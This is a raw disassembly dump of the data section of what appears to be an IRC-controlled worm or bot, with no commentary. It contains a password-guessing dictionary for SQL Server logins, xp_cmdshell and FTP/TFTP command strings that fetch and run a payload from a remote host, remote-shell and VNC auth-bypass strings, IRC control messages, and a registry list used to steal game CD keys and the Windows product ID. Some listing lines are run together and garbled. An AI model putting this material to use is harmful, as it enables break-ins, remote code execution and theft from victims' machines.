		align 10h
aMary		db 'mary',0             ; DATA XREF: .XComp0:0041228Ao
		align 4
aLogin_0	db 'login',0            ; DATA XREF: .XComp0:00412294o
		align 10h
aLoginpass	db 'loginpass',0        ; DATA XREF: .XComp0:0041229Eo
		align 4
aTechnical	db 'technical',0        ; DATA XREF: .XComp0:004122A8o
		align 4
aBackup		db 'backup',0           ; DATA XREF: .XComp0:004122B2o
		align 10h
aExchange	db 'exchange',0         ; DATA XREF: .XComp0:004122BCo
		align 4
aFuck		db 'fuck',0             ; DATA XREF: .XComp0:004122C6o
		align 4
aBitch		db 'bitch',0            ; DATA XREF: .XComp0:004122D0o
		align 4
aSlut		db 'slut',0             ; DATA XREF: .XComp0:004122DAo
		align 4
aSex		db 'sex',0              ; DATA XREF: .XComp0:004122E4o
aGod		db 'god',0              ; DATA XREF: .XComp0:004122EEo
aHell		db 'hell',0             ; DATA XREF: .XComp0:004122F8o
		align 4
aHello		db 'hello',0            ; DATA XREF: .XComp0:00412302o
		align 4
aDomain		db 'domain',0           ; DATA XREF: .XComp0:0041230Co
		align 4
aDomainpass	db 'domainpass',0       ; DATA XREF: .XComp0:00412316o
		align 10h
aDomainpassword	db 'domainpassword',0   ; DATA XREF: .XComp0:00412320o
		align 10h
aDatabase	db 'database',0         ; DATA XREF: .XComp0:0041232Ao
		align 4
aAccess		db 'access',0           ; DATA XREF: .XComp0:00412334o
		align 4
aDbpass		db 'dbpass',0           ; DATA XREF: .XComp0:0041233Eo
		align 4
aDbpassword	db 'dbpassword',0       ; DATA XREF: .XComp0:00412348o
		align 4
aDatabasepass	db 'databasepass',0     ; DATA XREF: .XComp0:00412352o
		align 4
aData		db 'data',0             ; DATA XREF: .XComp0:0041235Co
		align 10h
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: .XComp0:00412366o
		align 4
aDb1		db 'db1',0              ; DATA XREF: .XComp0:00412370o
aDb2		db 'db2',0              ; DATA XREF: .XComp0:0041237Ao
aDb1234		db 'db1234',0           ; DATA XREF: .XComp0:00412384o
		align 4
aSa		db 'sa',0               ; DATA XREF: .XComp0:0041238Eo
		align 4
aSql		db 'sql',0              ; DATA XREF: .XComp0:00412398o
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: .XComp0:004123A2o
		align 10h
aOrainstall	db 'orainstall',0       ; DATA XREF: .XComp0:004123ACo
		align 4
aOracle		db 'oracle',0           ; DATA XREF: .XComp0:004123B6o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: .XComp0:004123C0o
aCisco		db 'cisco',0            ; DATA XREF: .XComp0:004123CAo
		align 10h
aDell		db 'dell',0             ; DATA XREF: .XComp0:004123D4o
		align 4
aCompaq		db 'compaq',0           ; DATA XREF: .XComp0:004123DEo
		align 10h
aSiemens	db 'siemens',0          ; DATA XREF: .XComp0:004123E8o
aHp		db 'hp',0               ; DATA XREF: .XComp0:004123F2o
		align 4
aNokia		db 'nokia',0            ; DATA XREF: .XComp0:004123FCo
		align 4
aXp		db 'xp',0               ; DATA XREF: .XComp0:00412406o
		align 4
aControl	db 'control',0          ; DATA XREF: .XComp0:00412410o
aOffice		db 'office',0           ; DATA XREF: .XComp0:0041241Ao
		align 4
aBlank		db 'blank',0            ; DATA XREF: .XComp0:00412424o
		align 10h
aWinpass	db 'winpass',0          ; DATA XREF: .XComp0:0041242Eo
aMain		db 'main',0             ; DATA XREF: .XComp0:00412438o
		align 10h
aLan		db 'lan',0              ; DATA XREF: .XComp0:00412442o
aInternet_0	db 'internet',0         ; DATA XREF: .XComp0:0041244Co
		align 10h
aIntranet	db 'intranet',0         ; DATA XREF: .XComp0:00412456o
		align 4
aStudent	db 'student',0          ; DATA XREF: .XComp0:00412460o
aTeacher	db 'teacher',0          ; DATA XREF: .XComp0:0041246Ao
aStaff		db 'staff',0            ; DATA XREF: .XComp0:00412474o
		align 4
aDriverSqlServe	db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0
					; DATA XREF: .XComp0:00412598o
		align 4
; aExecMaster(long long, *)
aExecMaster__xp	db 'EXEC master..xp_cmdshell ',27h,'del eq&echo open %s %d >> eq&echo us'
					; DATA XREF: .XComp0:00412641o
		db 'er %d %d >> eq &echo get %s >> eq &echo quit >> eq &ftp -n -s:eq '
		db '&%s&del eq',0Dh,0Ah
		db 27h,0
		align 4
aExecMaster___0	db 'EXEC master..xp_cmdshell ',27h,'%s',27h,0 ; DATA XREF: .XComp0:00412685o
		align 4
dword_44B518	dd 21F5B1Fh, 544F4F52h,	1F024445h, 0BB201F5Dh, 4920BBBBh
					; DATA XREF: .XComp0:0041269Do
		dd 25203A50h, 73h
unk_44B534	db    2			; DATA XREF: .XComp0:0041270Eo
		db 28h,	6Dh, 73h
		db  71h	; q
		db 6Ch,	29h, 1Fh
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTryingSDUserSS	db ' Trying: (%s:%d) user: (%s/%s).',0
		align 4
word_44B564	dw 1			; DATA XREF: .XComp0:0041288Br
		align 4
dword_44B568	dd 20424652h, 64333025h, 3330252Eh, 0A64haVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: .XComp0:00412C3Fo
		align 4
aCmd		db 'cmd',0              ; DATA XREF: .XComp0:loc_4131CFo
					; .XComp0:004131E2r
aExit		db 'exit',0             ; DATA XREF: .XComp0:loc_41336Ao
					; .XComp0:0041337Dr
		align 4
word_44B5A4	dw 4			; DATA XREF: sub_412CE8+8r
		align 4
word_44B5A8	dw 1			; DATA XREF: sub_412CE8+12r
		align 4
dword_44B5AC	dd 20424652h, 2E333030h, 0A383030h, 0dword_44B5BC	dd 201h		word_44B5C0	dw 1			; DATA XREF: .XComp0:00412F63r
		align 4
word_44B5C4	dw 1			; DATA XREF: .XComp0:00412F6Dr
		align 4
dword_44B5C8	dd 0EBFFh	dword_44B5CC	dd 51FFh	dword_44B5D0	dd 0DFFh	word_44B5D4	dw 72h			; DATA XREF: .XComp0:00412F98r
		align 4
dword_44B5D8	dd 6325h	aTftpISGetS_0	db 'tftp -i %s GET %s',0 ; DATA XREF: .XComp0:00413257o
		align 10h
aC_0		db '%c',0               ; DATA XREF: .XComp0:00413296o
		align 4
aC_1		db '%c',0               ; DATA XREF: .XComp0:00413313o
		align 4
aC_2		db '%c',0               ; DATA XREF: .XComp0:00413385o
		align 4
aCmd_exe	db 'cmd.exe',0
aEchoOpenSDOE_1	db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o'
		db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0
		align 4
aSS_8		db '%s %s',0
		align 4
aUser_4		db 'USER',0
		align 4
a331PasswordReq	db '331 Password required',0Ah,0
		align 4
aPass_1		db 'PASS',0
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0
		align 4
aSyst		db 'SYST',0
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0
		align 4
aRest		db 'REST',0
		align 4
a350Restarting_	db '350 Restarting.',0Ah,0
		align 4
		dd offset off_445750
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0
		align 4
aType		db 'TYPE',0
		align 4
aA_0:
		unicode	0, <A>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0
aType_0		db 'TYPE',0
		align 4
aI_0:
		unicode	0, <I>,0
a200TypeSetToI_	db '200 Type set to I.',0Ah,0
aPasv		db 'PASV',0
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
		align 10h
aList_0		db 'LIST',0
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0
		align 10h
aPort		db 'PORT',0
		align 4
aS_34		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
		db ']',0
aXX		db '%x%x',0Ah,0
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0
a200PortCommand	db '200 PORT command successful.',0Ah,0
		align 4
aRetr		db 'RETR',0
		align 4
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
		align 4
aFtpTransferSta	db 'ftp transfer started to: %s',0
a226TransferC_0	db '226 Transfer complete.',0Ah,0
aFtpTransferCom	db 'ftp transfer complete to: %s',0
		align 4
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
		align 10h
aQuit_1		db 'QUIT',0
		align 4
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0
aRb		db 'rb',0               ; DATA XREF: .XComp0:00414433o
		align 4
aGet		db 'GET ',0             ; DATA XREF: sub_4144BD+45Eo
		align 10h
asc_44B900:				; DATA XREF: sub_4144BD+487o
		unicode	0, < >,0
asc_44B904:				; DATA XREF: sub_4144BD+48Co
		unicode	0, < >,0
aGet_0		db 'GET ',0             ; DATA XREF: sub_4144BD+491o
		align 10h
asc_44B910	db 0Dh,0Ah,0		; DATA XREF: sub_4144BD:loc_414990o
		align 4
unk_44B914	db  2Dh	; -		; DATA XREF: sub_4144BD+63Fo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
aTextHtml	db 'text/html',0        ; DATA XREF: sub_414B70+6Bo
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_414B70:loc_414BF0o
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_414B70+9Co
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_414B70+B9o
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_414B70+107o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_414B70+154o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aS_21		db '\%s',0              ; DATA XREF: sub_414D5E+35o
aS_22		db '%s',0               ; DATA XREF: sub_414D5E+54o
		align 4
aSS_1		db '%s%s',0             ; DATA XREF: sub_414D5E+170o
		align 10h
asc_44BB60:				; DATA XREF: sub_414D5E+184o
		dw 0Ah
		unicode	0, <>,0
asc_44BB64:				; DATA XREF: sub_414D5E+216o
		unicode	0, <*>,0
unk_44BB68	db  2Dh	; -		; DATA XREF: sub_414D5E+2EFo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 4
unk_44BB9C	db  2Dh	; -		; DATA XREF: sub_414D5E+39Co
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_23	db ' failed to start worker thread, error %d',0
		align 4
asc_44BBD4:				; DATA XREF: sub_415120+43o
		dw 0Ah
		unicode	0, <>,0
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_415120+5Eo
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_415120+9Ao
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_415120+D6o
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_415120+128o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_415120+161o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_415120+17Fo
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_415120:loc_415354o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
a__		db '..',0               ; DATA XREF: sub_415120+2A5o
		align 4
a__0:					; DATA XREF: sub_415120+2C0o
		unicode	0, <.>,0
aPm_0		db 'PM',0               ; DATA XREF: sub_415120+30Fo
		align 10h
aAm		db 'AM',0               ; DATA XREF: sub_415120:loc_41543Bo
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_415120+37Co
aS_23		db '<%s>',0             ; DATA XREF: sub_415120+3B5o
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_415120+3DFo
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_415120+40Ao
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aSS_2		db '%s%s/',0            ; DATA XREF: sub_415120+44Do
		align 10h
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_415120+49Fo
		align 10h
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_415120+4C1o
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_415120+507o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aS_24		db '<%s>',0             ; DATA XREF: sub_415120+529o
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_415120+550o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_415120+59Eo
		align 10h
aTrTdWidthDAH_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_415120+5C9o
		db '<TD WIDTH="%d"><A HREF="',0
		align 10h
aSS_3		db '%s%s',0             ; DATA XREF: sub_415120+60Co
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_415120+661o
		align 4
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_415120+683o
		align 10h
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_415120+6D3o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_415120+702o
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_415120+77Fo
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_415120+79Bo
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_415120+7B6o
		align 4
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_415A54+B0o
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_44C0AC	dd 234032Dh, 6E656469h,	3026474haClientConnecti	db '- client connection from %s:%d.',0
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_415BB9+15Eo
dword_44C0F0	dd 234032Dh, 6E656469h,	3026474h, 6573202Dh, 72657672h
					; DATA XREF: sub_415BB9+1BBo
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 69646572h,	74636572h, 202D0302h, 65696C43h
		dd 6320746Eh, 656E6E6Fh, 6F697463h, 7266206Eh, 49206D6Fh
		dd 25203A50h, 64253A73h, 6553202Ch, 72657672h, 72687420h
		dd 3A646165h, 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_24	db 'Failed to start client thread, error: <%d>.',0
unk_44C1A0	db  2Dh	; -		; DATA XREF: sub_415FBE+13Fo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_0	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_44C1E4	db  2Dh	; -		; DATA XREF: sub_415FBE+20Eo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_25	db 'Failed to start connection thread, error: <%d>.',0
unk_44C224	db  2Dh	; -		; DATA XREF: .XComp0:004163E4o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_44C26C	db  2Dh	; -		; DATA XREF: .XComp0:0041642Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_44C2B4	db  2Dh	; -		; DATA XREF: .XComp0:004164F9o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_44C2E8	db  2Dh	; -		; DATA XREF: sub_41655A+6Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_44C328	db  2Dh	; -		; DATA XREF: sub_41655A+A4o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_2	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_44C368	db  2Dh	; -		; DATA XREF: sub_41655A+E7o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_4166B5+ADo
		align 4
dword_44C398	dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
					; DATA XREF: sub_4166B5+E8o
		dd 6F742064h, 65786520h, 65747563h, 65687320h, 202C6C6Ch
		dd 6F727265h, 3C203A72h, 2E3E6425h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aSessionreadshe	db '- SessionReadShellThread exited, error: <%ld>.',0
aOctet		db 'octet',0
		align 4
aRb_0		db 'rb',0
		align 4
aTftpTransferSt	db 'Tftp transfer started to: %s',0
		align 4
aTftpTransferCo	db 'Tftp transfer complete to: %s',0
		align 4
		dd 4000500h, 7868746Bh,	0
dword_44C464	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dhdword_44C478	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4173DC+7Do
		align 10h
dword_44C4B0	dd 234032Dh, 2676F6Ch, 2D03hdword_44C4BC	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_4175A2+34o
dword_44C4D0	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_4175A2:loc_4175E9o
dword_44C4E4	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: sub_417646+42o
		dd 676E6974h, 0
dword_44C500	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: sub_417646:loc_41778Do
		dd 6574656Ch, 0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4177EB+Fo
aWindow		db 'Window',0           ; DATA XREF: sub_417AFA+1Eo
		align 4
aWindow_0	db 'Window',0           ; DATA XREF: sub_417DDF+21o
		align 8
dword_44C538	dd 80000001h	off_44C53C	dd offset aSoftwareValveC ; DATA XREF: sub_4181FB+32r
					; sub_4181FB+56r
					; "Software\\Valve\\CounterStrike\\Settings"
off_44C540	dd offset aCdkey	; DATA XREF: sub_4181FB+8Fr
					; "CDKey"
off_44C544	dd offset aCounterStrikeR ; DATA XREF: sub_4181FB+191r
					; sub_4181FB+1BAr ...
					; "Counter-Strike (Retail)"
dword_44C548	dd 0							; sub_4181FB+C8r
dword_44C54C	dd 0							; sub_4181FB+158r
		dd 80000001h, 44C9B8h, 44C9E0h,	44C9ECh, 2 dup(0)
		dd 80000001h, 44C9FCh, 44CA1Ch,	44CA20h, 2 dup(0)
		dd 80000001h, 44CA34h, 44CA58h,	44CA5Ch, 2 dup(0)
		dd 80000001h, 44CA68h, 44CA8Ch,	44CA94h, 2 dup(0)
		dd 80000001h, 44CAA8h, 44CABCh,	44CACCh, 2 dup(0)
		dd 80000001h, 44CAE8h, 44CB2Ch,	44CB34h, 2 dup(0)
		dd 80000002h, 44CB48h, 44CB74h,	44CB80h, 2 dup(0)
; ---------------------------------------------------------------------------
		add	al, [eax]
		add	byte_44CBA0[eax], al
		aam	0CBh
		inc	esp
		add	ah, bl
		retf
; ---------------------------------------------------------------------------
		dw 44h
		align 10h
		dd 80000002h, 44CBF4h, 44CC28h,	44CC30h, 2 dup(0)
		dd 80000002h, 44CC48h, 44CC60h,	44CC68h, 2 dup(0)
		dd 80000002h, 44CC80h, 4E85C0h,	44CCBCh, 2 dup(0)
		dd 80000002h, 44CCCCh, 4E85C4h,	44CD04h, 2 dup(0)
		dd 80000002h, 44CD18h, 4E85C8h,	44CD64h, 2 dup(0)
		dd 80000002h, 44CD84h, 4E85CCh,	44CDD4h, 2 dup(0)
		dd 80000002h, 44CE00h, 4E85D0h,	44CE3Ch, 2 dup(0)
		dd 80000002h, 44CE50h, 4E85D4h,	44CE88h, 2 dup(0)
		dd 80000002h, 44CE98h, 4E85D8h,	44CEE8h, 2 dup(0)
		dd 80000002h, 44CF14h, 4E85DCh,	44CF54h, 2 dup(0)
		dd 80000002h, 44CF70h, 4E85E0h,	44CFA0h, 2 dup(0)
		dd 80000002h, 44CFC0h, 4E85E4h,	44CFFCh, 2 dup(0)
		dd 80000002h, 44D010h, 4E85E8h,	44D058h, 2 dup(0)
		dd 80000002h, 44D078h, 4E85ECh,	44D0CCh, 2 dup(0)
		dd 80000002h, 44D0FCh, 4E85F0h,	44D14Ch, 2 dup(0)
		dd 80000002h, 44D178h, 44D1B8h,	44D1C0h, 2 dup(0)
		dd 80000002h, 44D1E0h, 4E85F4h,	44D224h, 2 dup(0)
		dd 80000002h, 44D240h, 4E85F8h,	44D28Ch, 2 dup(0)
		dd 80000002h, 44D2B0h, 4E85FCh,	44D2E4h, 2 dup(0)
		dd 80000002h, 44D2F0h, 4E8600h,	44D324h, 2 dup(0)
		dd 80000002h, 44D330h, 4E8604h,	44D364h, 2 dup(0)
		dd 80000002h, 44D370h, 4E8608h,	44D3A4h, 2 dup(0)
		dd 80000002h, 44D3B0h, 4E860Ch,	44D3ECh, 2 dup(0)
		dd 80000002h, 44D400h, 4E8610h,	44D43Ch, 2 dup(0)
		dd 80000002h, 44D450h, 44D480h,	44D488h, 2 dup(0)
		dd 80000002h, 44D4A4h, 44D4C4h,	44D4CCh, 2 dup(0)
		dd 80000002h, 44D4F0h, 44D50Ch,	44D514h, 2 dup(0)
		dd 80000002h, 44D534h, 44D554h,	44D55Ch, 2 dup(0)
		dd 80000002h, 44D580h, 44D598h,	44D5A0h, 2 dup(0)
		dd 80000002h, 44D5A4h, 44D5C0h,	44D5D0h, 2 dup(0)
		dd 80000002h, 44D5D8h, 44D60Ch,	44D610h, 2 dup(0)
		dd 80000002h, 44D628h, 44D664h,	44D670h, 44D698h, 44D6A8h
		dd 80000002h, 44D6BCh, 44D6E0h,	44D6ECh, 44D700h, 44D710h
		dd 80000002h, 44D718h, 44D73Ch,	44D748h, 44D774h, 44D784h
		dd 80000002h, 44D78Ch, 44D7B0h,	44D7BCh, 44D7ECh, 44D7FCh
		dd 6 dup(0)
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0
					; DATA XREF: .XComp0:off_44C53Co
		align 4
aCdkey		db 'CDKey',0            ; DATA XREF: .XComp0:off_44C540o
		align 10h
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: .XComp0:off_44C544o
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 10h
aRegnumber	db 'RegNumber',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aKey_0		db 'Key',0
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aKey_1		db 'Key',0
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aPrvkey		db 'prvkey',0
		align 4
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aCustomernumber	db 'CustomerNumber',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aCdkey_0	db 'CDKey',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
		db 53h
aOftwareMicro_1	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aProductid	db 'ProductId',0
		align 10h
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 10h
byte_44CBA0	db 53h			; DATA XREF: .XComp0:0044C5FAw
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aCdkey_1	db 'CDKey',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2003',0
		align 4
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aCdkey_2	db 'CDKey',0
		align 10h
aUnrealTourna_0	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 10h
aCdkey_3	db 'CDKey',0
		align 4
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 10h
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aBattlefield194	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 10h
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
